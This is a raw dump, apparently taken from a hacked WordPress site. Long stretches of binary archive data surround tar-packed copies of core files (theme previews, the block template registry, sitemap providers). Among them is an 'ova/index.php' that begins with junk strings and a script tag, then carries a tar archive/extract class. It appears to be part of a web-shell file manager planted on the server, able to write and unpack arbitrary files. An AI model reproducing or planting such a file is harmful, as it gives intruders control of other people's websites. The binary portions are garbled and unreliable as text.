Zo=mIS%'xyfJAШr7M֐ʀޑx1O6KקjTzb#zlo"VzXִXJIKń.(7*l R@>ܝH'!f!#g Un9z[~mϥ&5q(+srJ fb!0u4&]^oZd5`u ui\t=Tyz6BO@1E=rPܐ.f3>gh(ݐiEqm EpHuH_eF+aNV:`  1͸(Co9|,-mc].I-w>4 >[f_{f'xWBO5}5ް9qT= o{;GvVOuǎ;?zMuߒ5aaMX wŎ{Bm׊cwp…=Jی;X<xE>sóuΤGz3KE.hz)g&.bxa$Ps ]H@5l(@6s+o2Vgb讝e3"3|Q R#÷kzzҶ}g@۵s4)_$ 0,21 -m +vOzx,0 3s2-vDh_ܑ|D2V5aJE)G|$HB ' tqe_Z[^%zšk^_N)ثȿnKV%tsf|eSTdR-Ҏ@mi-[Q"*_Q+Y:;/ԉY|yxAAij!>8We2^oWcg8KG5n)GtetոB›2# @GvHzT p& j*lXK@=a,$|%[;j-}8+S_6ߨי ƥZ|cNSgHHɚ^U]b :J:)ۜ'~'it-K±;<&T mWT͠>r5tP/=/$/]]fN45{KL؋[^qq?z@H@ V],w mHFlvb]-Ʋ뤆(J9U,%w!g\?;tM eY;㺙NsSa+hK CV e.OUhr˥FkeTlv/ģVO0/{PcE^ K(l뺨vmJmO.d |cS]a5(o-^S+ ήwtUb3~R_?+BLB2z( 81=_!t?S_Hhoh XhI`8C2:p6+*۶̓/Hӵ{ݻ8?es妜]B Z*?[,T[ R,\7^̼F ]Yŀ++ V9m[{O}0mǭ_K\ЬZSƈ3۶CZ1BYRi/{΍zЏܹ +=?MR)*jwyw.9J &mQ Ô9;U4 ِW4!MAx_'d"5Hn}.\it Q,Wtu }8o1[[WƙhɃ3L) $ZiV8d}]^?PFqY{ :TEUĄ^3JڿڹXC{6[yu丷x2CT,iT0-TR-7<0=}^IzeS4֬P=>'  Lʹ'_/ZOhLztPS5!PB~ I?䣪l:QUi9:֓G$j\r7:B~X}0L(<즧wTQ*QtNV33_aDz8pxQ j_P˹AnkۗVhIB#=tى>iiNLtY}x^QR}@8OsxL0☃fe.J/f =}Z :H? lwgUOז=ݑA f%H* |b8=]~|xHٸhq5T&1 $ xTۀ%"n:iͱ,7a]rk0ۻ\Y>j7,wd{WqYDL?1XRe%Aa% ̀Rz*{ٙ𱧏39,m6>pvm=ۏvUn/CӶ.P:N P?^ĝr6&fdv: eڅr6ֻ^>=jQQ-O~_yfQ;|^(¯v{sݍtQ_uu&JS5*&KO F%(h)S&2i>/nxx/JTuy }3EIF檺[-AfS[}~G=b? ( IQ/u\ OPӞ\e@V*6zR|Q=?ӳ3sO?)r>ԇSG6x~0;x%7:$7oNoJ4]A ohCG896g+d2v/j W5}i'%z9^3\Tp M;AC"ofgɇ|o {_i~~_lG៞l ~<H%̗o_zD4KOHkNSo˗e++] hԐ˖C[.=//RoWwɯ}|}L}w;|p0)%NIbt w)=5dnS-pHߑmZvnU4q7H=O~ ~?9p sKͺƿ䥗O'ܪhH :pH#<@*Ra",ƯB*T<ֲ=hEך#a,I![siP!?|^݅7)zh8e4JKƧ?NXw񁻞$_¶m6|-}ЮRȖ^'貀;mDܗ-t,у|3]ƫ7|M|zʏ%]':=U"r>~^\+3.8qݱ4:|pZ{4kG,5WP7QzL#h{<2(8JJ A`E<Tmߘim´k[/<u4C!!o o)0j.R-vncQXWhyDIAA#Pk 8e#+.몒oL $E@ Ie/W7D@WtsfTր="<'=J '4Ӑ_\? ԵV޳C93"MbL"`A[ݢN1M?}r+_؋guݽ>O hJ{CUx,3z eGȨGo3L=:tDEp:x`CVFZ:i>U7COkC;Iotw%s=_K[ +MAj6q_yv@o?T]Hε;k?tRk0,J Aw :u b6,EEg~GzJyz  ٠vDSw/5UcBd]tcޠa\P2kz!*J]qٚ@ݪh,v,8uW@ h&f@3W6k辶iH4AJ^nH7ىw^|[6{Wo;qDSNqf7r9mvxfp)=+ޑJ$_|Pl'w˩dC? hNL Z i aʶov"+e7djđCtN71~=m=;S)DzTo'Ni7G+TȄ<~"]niHaݩp~6A܏df40ƍа}湙=L'Vŗ BR|AX Jv4>a3!U#ޞųRDe |.?_ښ| lsY;ۅ.ͪK/Zpڢ|}>강l酩-17y"5tdZ 2[H-JSTwJ?suqɻ۝30=Ncѱ\9&NshWB)h]FG:8.w{_h` gzC hށZ0{RZ+"bhNR/d"-@kƐ#D';o%W5팳m>ZfԾz^a̿Cgڸw! a!J뵸_M,L\>DLE 40sJ` 9hR5S ZpŝRl]]a[;}MU@YjĝguWTùMWV}VDW8ro!=DK S?@Q4Ar{/; ^{恌0".{᮰e&=?l1#oޤ(K%$K0kwng5b7_ymo% =ރލPo8TrWxP2ɻ]0Aq+48v⺋F fwp*@G/JnpF+:>1A:(B8.䤶WTcf^wQ=R{kr7%h9=(j0Z( ν!LeňǞ5Wll}.w;S;_E)qò'}\oA4ˎ~ڟMd-V 60U(yl21GQ" sptOX?<ȸ'!E1@\kQ]wH<(/ixaw=ThBR@N>AAI`I2 'RJn੤) c<70s8 !{9nR-U&8AQ% d/<{yrwwMȢ,[qLNm<4uCzyI%93yYe;&V{+M zGSlLu >Հ+ؕ.OA`<4S+,oXB>sxk5#6/BTɽ!rڸqC2V}OdFa0\+]/KZGuRa_Tus"taYHў3tXIwoI.J4?\cw)S/'ba C%=O?w+Ήw_S[cXp23ohЊvPfpq |cla<5i<ANzHx>SݧEYY(yqQuks7Zdj/s4̺I__Hmof~uk+:̻؟, >O8Qa&ȑ(H]?duѭݪ'5/M;k4omPfXpƝ2Ͱ CͰ(JyIk! @Ͱ6_ieR3# j5'gϝ?25}nvlxөvީSg'N=rz|a;3wzajvv.ucSO.,<2Rk;EN@I2cu2E92 w17y]@n~n/Tc  h4Fԡ]mJM ^yZa~tQDF=M=K=GOѧ3UY9Z77?D@HEMCKσ x}?IS%Cg@JYQs/Џ_Ľ8e+W'_A?C?K~my; w/ҋA—WW?D :SG9 -_oӿ+}$? J3} h_Ij/W tL! "%D[ qnGHI!%z BAAaHFQaL\(P6 aM.&.6vaG+ ;BU8$)G{H`ĩCgLM<}|fg'̯]:5uzas sf^5uVӈ9fɹSSΜ~|>5ubfl.,L5?pzj᩹7?pfrus ,O-,̜o]·&g7\ff[Y<7hQ9{fv49{)4?u6/jfg9p#fj S&VGp=ܔL=~rIhg:1i^u㾵擘jǓ֓xݼ7\k~>wՉsgfgQ[Qɳ S@c?wF<6yqY8f?>tb6 ]B=678~T@ع'e<03ѵcΜwDC虵;;؉ϝjsgϝvD:}bs"Μxy3py_8 ;73{ڱs3!&OysSspS>vnaaq sgMJR[)'YB+,pG>;~.&NMzyB0Xgf 4;s4tHCON04$}q|$fZ\65D2w>w \;uz^jY8 nD}=hG4 gB}=8dYf$a 21v|ɩC3x+b\<69 }1 k3_:_OL=SCGQN̟Wqb]zO`%4Y "R1@Mc;1N3 + qyگ=virԏDo@E@>rjL` ©S F1LVY8~r4^5Nt¬}ܹLUgMZy”ݼ$7@/НBk,y|j$`铭BN29`CUs[PHE[yĜ )ΜNŁk%ԦN:14y̜M2ݼsœڌf >>u3 *x,%mT O  ~rmfkbmnW<|}ҚЛfxzrvv3Xl]ћiͷnLKx1o q?~vjp%i@w VNz$p;gS%8;9szܹӳɅS2 fNXN;A^V 3@ݡׇ;bx 80d399ւ>wOG5s6~> &k9yq ;̯pZQsJOx1K,Y<;7{LŞ 4DZ1% SvOM3ph+>F|!ͫ# DGj 0ybB[8I=55 5tm!WĐ ,>F!Y~ܼD= -н }M:|zus5Sg3kzLG9sAk♩y=Ê9,0RBV㬲.Y&

;΂9#L bŌxusGwH c}иĂ135̃0d;#}5Ylɰ8G|֮ 815;G ;^{ E,x>gLz'sv酓Ng̿>wF@+Ͱu9?=?FSHk5h$b.I`h_OCg8YAxԭA??PȡPK $[Jd fonts.php.php.tar.gznu[Z[;>3{4RgP ,, eu.Pt;ݝ[UݝL2=%r}v]*;YjʕZ?_"ei-b$(b<+uX,{&<8;LyrwO?;{v}8;aqnT ?󗿂?w;%:ͫ,*epYK _+5̽fd{;D&/fY,>wµ#K\ 6*6VS>7kXq2L}eeZ7l <.3\`v"^FTOA'Ak!&H+Ճy6K]$|sA$Q u$@eJX\ە+h<(j0m-Cal(QBDVn1cEYk%uFuiKLAm[P--F<-GKKPe2c1R<[kRWJ غRអT!>1dpN~9YWGG=L_`,B=kݸӟ\{hg2dS#Epm#6C?%q=lv_ismC[UgvjR{=+ P t*s&K3#}רLϫ$ 5N>LLɪMbA45&I^;۴YcX[fVfwXk+$o {*#U5A$p{ʹV?лZu:Hb%LK"y PJTW2 Х)8J,\?PgU~LHgNv? s {eI)hEc-Xr«PBb6RLRdR3 -U@N*0LaT -2d[ kIC)kݽ>2Irѕmx%c;"\czL8myİó*b1؁6ԍ9(+NqM+_ T䥈.IiZ#nnjYQ]e6 (ȧQ͚p1ln[tgj8}@|oU WLoe2v%os-bE%;qlj=~5|"HAGf\Kj;Ut ŏ!#zL|&*BL -!u4gV% 5/2 U p0-Nl 3p)ЌI?X*#FOj~c#[v9jh#S3ufS4-h9 %Bs,6D4+qKP5OldGmةpB>!\޿]v~a tRE|Mb e,~ʬOM`oʂ){ƩQ Lߥx-(汜K\WKk}2@)hC|-:>e|KP39K#asE#@x:RAˊf 7eC]?B!*`o%(ݣpW@J3T߲EIf0JW!9H/Yګ c68%^Dn016{hjx=NYw.޺k~ĝojZ+dcFT3ɯE"z3Z$5C$67E;_i8_ L^ÿs" Nh4J2(L9,JR5Ъj8hnQ4`z$rE=ss gޚQ  z-[İ7DO Jf|h86:A5jGO_=Ǝzztxޟ Pp`C]O1'TG3͚SO59^[}P / tbxٹAq%ܽl_nZ*E"FM]r/V?gh9 v)3dw`su:jݡ C<HJ& glJ1 ^X.2ˏpMz8H  |8 6m1*3*XIoF\g|j 伱Qq{{x #m饕`?S!K?h箕/S' K庠Dڈ{Ma:,|??C&{.PK $[6ltheme-previews.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/theme-previews.php000064400000005420150554425100020613 0ustar00errors() ) ) { if ( current_filter() === 'template' ) { $theme_path = $wp_theme->get_template(); } else { $theme_path = $wp_theme->get_stylesheet(); } return sanitize_text_field( $theme_path ); } return $current_stylesheet; } /** * Adds a middleware to `apiFetch` to set the theme for the preview. * This adds a `wp_theme_preview` URL parameter to API requests from the Site Editor, so they also respond as if the theme is set to the value of the parameter. * * @since 6.3.0 */ function wp_attach_theme_preview_middleware() { // Don't allow non-admins to preview themes. if ( ! current_user_can( 'switch_themes' ) ) { return; } wp_add_inline_script( 'wp-api-fetch', sprintf( 'wp.apiFetch.use( wp.apiFetch.createThemePreviewMiddleware( %s ) );', wp_json_encode( sanitize_text_field( wp_unslash( $_GET['wp_theme_preview'] ) ) ) ), 'after' ); } /** * Set a JavaScript constant for theme activation. * * Sets the JavaScript global WP_BLOCK_THEME_ACTIVATE_NONCE containing the nonce * required to activate a theme. For use within the site editor. * * @see https://github.com/WordPress/gutenberg/pull/41836 * * @since 6.3.0 * @access private */ function wp_block_theme_activate_nonce() { $nonce_handle = 'switch-theme_' . wp_get_theme_preview_path(); ?> $instance` pairs. * * @since 6.7.0 * @var WP_Block_Template[] $registered_block_templates Registered templates. */ private $registered_templates = array(); /** * Container for the main instance of the class. * * @since 6.7.0 * @var WP_Block_Templates_Registry|null */ private static $instance = null; /** * Registers a template. * * @since 6.7.0 * * @param string $template_name Template name including namespace. * @param array $args Optional. Array of template arguments. * @return WP_Block_Template|WP_Error The registered template on success, or WP_Error on failure. */ public function register( $template_name, $args = array() ) { $template = null; $error_message = ''; $error_code = ''; if ( ! is_string( $template_name ) ) { $error_message = __( 'Template names must be strings.' ); $error_code = 'template_name_no_string'; } elseif ( preg_match( '/[A-Z]+/', $template_name ) ) { $error_message = __( 'Template names must not contain uppercase characters.' ); $error_code = 'template_name_no_uppercase'; } elseif ( ! preg_match( '/^[a-z0-9_\-]+\/\/[a-z0-9_\-]+$/', $template_name ) ) { $error_message = __( 'Template names must contain a namespace prefix. Example: my-plugin//my-custom-template' ); $error_code = 'template_no_prefix'; } elseif ( $this->is_registered( $template_name ) ) { /* translators: %s: Template name. */ $error_message = sprintf( __( 'Template "%s" is already registered.' ), $template_name ); $error_code = 'template_already_registered'; } if ( $error_message ) { _doing_it_wrong( __METHOD__, $error_message, '6.7.0' ); return new WP_Error( $error_code, $error_message ); } if ( ! $template ) { $theme_name = get_stylesheet(); list( $plugin, $slug ) = explode( '//', $template_name ); $default_template_types = get_default_block_template_types(); $template = new WP_Block_Template(); $template->id = $theme_name . '//' . $slug; $template->theme = $theme_name; $template->plugin = $plugin; $template->author = null; $template->content = isset( $args['content'] ) ? $args['content'] : ''; $template->source = 'plugin'; $template->slug = $slug; $template->type = 'wp_template'; $template->title = isset( $args['title'] ) ? $args['title'] : $template_name; $template->description = isset( $args['description'] ) ? $args['description'] : ''; $template->status = 'publish'; $template->origin = 'plugin'; $template->is_custom = ! isset( $default_template_types[ $template_name ] ); $template->post_types = isset( $args['post_types'] ) ? $args['post_types'] : array(); } $this->registered_templates[ $template_name ] = $template; return $template; } /** * Retrieves all registered templates. * * @since 6.7.0 * * @return WP_Block_Template[] Associative array of `$template_name => $template` pairs. */ public function get_all_registered() { return $this->registered_templates; } /** * Retrieves a registered template by its name. * * @since 6.7.0 * * @param string $template_name Template name including namespace. * @return WP_Block_Template|null The registered template, or null if it is not registered. */ public function get_registered( $template_name ) { if ( ! $this->is_registered( $template_name ) ) { return null; } return $this->registered_templates[ $template_name ]; } /** * Retrieves a registered template by its slug. * * @since 6.7.0 * * @param string $template_slug Slug of the template. * @return WP_Block_Template|null The registered template, or null if it is not registered. */ public function get_by_slug( $template_slug ) { $all_templates = $this->get_all_registered(); if ( ! $all_templates ) { return null; } foreach ( $all_templates as $template ) { if ( $template->slug === $template_slug ) { return $template; } } return null; } /** * Retrieves registered templates matching a query. * * @since 6.7.0 * * @param array $query { * Arguments to retrieve templates. Optional, empty by default. * * @type string[] $slug__in List of slugs to include. * @type string[] $slug__not_in List of slugs to skip. * @type string $post_type Post type to get the templates for. * } * @return WP_Block_Template[] Associative array of `$template_name => $template` pairs. */ public function get_by_query( $query = array() ) { $all_templates = $this->get_all_registered(); if ( ! $all_templates ) { return array(); } $query = wp_parse_args( $query, array( 'slug__in' => array(), 'slug__not_in' => array(), 'post_type' => '', ) ); $slugs_to_include = $query['slug__in']; $slugs_to_skip = $query['slug__not_in']; $post_type = $query['post_type']; $matching_templates = array(); foreach ( $all_templates as $template_name => $template ) { if ( $slugs_to_include && ! in_array( $template->slug, $slugs_to_include, true ) ) { continue; } if ( $slugs_to_skip && in_array( $template->slug, $slugs_to_skip, true ) ) { continue; } if ( $post_type && ! in_array( $post_type, $template->post_types, true ) ) { continue; } $matching_templates[ $template_name ] = $template; } return $matching_templates; } /** * Checks if a template is registered. * * @since 6.7.0 * * @param string $template_name Template name. * @return bool True if the template is registered, false otherwise. */ public function is_registered( $template_name ) { return isset( $this->registered_templates[ $template_name ] ); } /** * Unregisters a template. * * @since 6.7.0 * * @param string $template_name Template name including namespace. * @return WP_Block_Template|WP_Error The unregistered template on success, or WP_Error on failure. */ public function unregister( $template_name ) { if ( ! $this->is_registered( $template_name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Template name. */ sprintf( __( 'Template "%s" is not registered.' ), $template_name ), '6.7.0' ); /* translators: %s: Template name. */ return new WP_Error( 'template_not_registered', __( 'Template "%s" is not registered.' ) ); } $unregistered_template = $this->registered_templates[ $template_name ]; unset( $this->registered_templates[ $template_name ] ); return $unregistered_template; } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.7.0 * * @return WP_Block_Templates_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } PK $[- sitemaps.tarnu[class-wp-sitemaps-registry.php000064400000003616150561175420012513 0ustar00providers[ $name ] ) ) { return false; } /** * Filters the sitemap provider before it is added. * * @since 5.5.0 * * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider. * @param string $name Name of the sitemap provider. */ $provider = apply_filters( 'wp_sitemaps_add_provider', $provider, $name ); if ( ! $provider instanceof WP_Sitemaps_Provider ) { return false; } $this->providers[ $name ] = $provider; return true; } /** * Returns a single registered sitemap provider. * * @since 5.5.0 * * @param string $name Sitemap provider name. * @return WP_Sitemaps_Provider|null Sitemap provider if it exists, null otherwise. */ public function get_provider( $name ) { if ( ! is_string( $name ) || ! isset( $this->providers[ $name ] ) ) { return null; } return $this->providers[ $name ]; } /** * Returns all registered sitemap providers. * * @since 5.5.0 * * @return WP_Sitemaps_Provider[] Array of sitemap providers. */ public function get_providers() { return $this->providers; } } ova/class-wp-sitemaps-posts.php.tar000064400000022000150561175430013352 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php000064400000016525150555350570026254 0ustar00name = 'posts'; $this->object_type = 'post'; } /** * Returns the public post types, which excludes nav_items and similar types. * Attachments are also excluded. This includes custom post types with public = true. * * @since 5.5.0 * * @return WP_Post_Type[] Array of registered post type objects keyed by their name. */ public function get_object_subtypes() { $post_types = get_post_types( array( 'public' => true ), 'objects' ); unset( $post_types['attachment'] ); $post_types = array_filter( $post_types, 'is_post_type_viewable' ); /** * Filters the list of post object sub types available within the sitemap. * * @since 5.5.0 * * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name. */ return apply_filters( 'wp_sitemaps_post_types', $post_types ); } /** * Gets a URL list for a post type sitemap. * * @since 5.5.0 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param int $page_num Page of results. * @param string $object_subtype Optional. Post type name. Default empty. * * @return array[] Array of URL information for a sitemap. */ public function get_url_list( $page_num, $object_subtype = '' ) { // Restores the more descriptive, specific name for use within this method. $post_type = $object_subtype; // Bail early if the queried post type is not supported. $supported_types = $this->get_object_subtypes(); if ( ! isset( $supported_types[ $post_type ] ) ) { return array(); } /** * Filters the posts URL list before it is generated. * * Returning a non-null value will effectively short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param array[]|null $url_list The URL list. Default null. * @param string $post_type Post type name. * @param int $page_num Page of results. */ $url_list = apply_filters( 'wp_sitemaps_posts_pre_url_list', null, $post_type, $page_num ); if ( null !== $url_list ) { return $url_list; } $args = $this->get_posts_query_args( $post_type ); $args['paged'] = $page_num; $query = new WP_Query( $args ); $url_list = array(); /* * Add a URL for the homepage in the pages sitemap. * Shows only on the first page if the reading settings are set to display latest posts. */ if ( 'page' === $post_type && 1 === $page_num && 'posts' === get_option( 'show_on_front' ) ) { // Extract the data needed for home URL to add to the array. $sitemap_entry = array( 'loc' => home_url( '/' ), ); /* * Get the most recent posts displayed on the homepage, * and then sort them by their modified date to find * the date the homepage was approximately last updated. */ $latest_posts = new WP_Query( array( 'post_type' => 'post', 'post_status' => 'publish', 'orderby' => 'date', 'order' => 'DESC', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $latest_posts->posts ) ) { $posts = wp_list_sort( $latest_posts->posts, 'post_modified_gmt', 'DESC' ); $sitemap_entry['lastmod'] = wp_date( DATE_W3C, strtotime( $posts[0]->post_modified_gmt ) ); } /** * Filters the sitemap entry for the home page when the 'show_on_front' option equals 'posts'. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the home page. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_show_on_front_entry', $sitemap_entry ); $url_list[] = $sitemap_entry; } foreach ( $query->posts as $post ) { $sitemap_entry = array( 'loc' => get_permalink( $post ), 'lastmod' => wp_date( DATE_W3C, strtotime( $post->post_modified_gmt ) ), ); /** * Filters the sitemap entry for an individual post. * * @since 5.5.0 * * @param array $sitemap_entry Sitemap entry for the post. * @param WP_Post $post Post object. * @param string $post_type Name of the post_type. */ $sitemap_entry = apply_filters( 'wp_sitemaps_posts_entry', $sitemap_entry, $post, $post_type ); $url_list[] = $sitemap_entry; } return $url_list; } /** * Gets the max number of pages available for the object type. * * @since 5.5.0 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class * for PHP 8 named parameter support. * * @param string $object_subtype Optional. Post type name. Default empty. * @return int Total number of pages. */ public function get_max_num_pages( $object_subtype = '' ) { if ( empty( $object_subtype ) ) { return 0; } // Restores the more descriptive, specific name for use within this method. $post_type = $object_subtype; /** * Filters the max number of pages before it is generated. * * Passing a non-null value will short-circuit the generation, * returning that value instead. * * @since 5.5.0 * * @param int|null $max_num_pages The maximum number of pages. Default null. * @param string $post_type Post type name. */ $max_num_pages = apply_filters( 'wp_sitemaps_posts_pre_max_num_pages', null, $post_type ); if ( null !== $max_num_pages ) { return $max_num_pages; } $args = $this->get_posts_query_args( $post_type ); $args['fields'] = 'ids'; $args['no_found_rows'] = false; $query = new WP_Query( $args ); $min_num_pages = ( 'page' === $post_type && 'posts' === get_option( 'show_on_front' ) ) ? 1 : 0; return isset( $query->max_num_pages ) ? max( $min_num_pages, $query->max_num_pages ) : 1; } /** * Returns the query args for retrieving posts to list in the sitemap. * * @since 5.5.0 * @since 6.1.0 Added `ignore_sticky_posts` default parameter. * * @param string $post_type Post type name. * @return array Array of WP_Query arguments. */ protected function get_posts_query_args( $post_type ) { /** * Filters the query arguments for post type sitemap queries. * * @see WP_Query for a full list of arguments. * * @since 5.5.0 * @since 6.1.0 Added `ignore_sticky_posts` default parameter. * * @param array $args Array of WP_Query arguments. * @param string $post_type Post type name. */ $args = apply_filters( 'wp_sitemaps_posts_query_args', array( 'orderby' => 'ID', 'order' => 'ASC', 'post_type' => $post_type, 'posts_per_page' => wp_sitemaps_get_max_urls( $this->object_type ), 'post_status' => array( 'publish' ), 'no_found_rows' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'ignore_sticky_posts' => true, // Sticky posts will still appear, but they won't be moved to the front. ), $post_type ); return $args; } } ova/index.php000064400000233533150561175430007171 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = 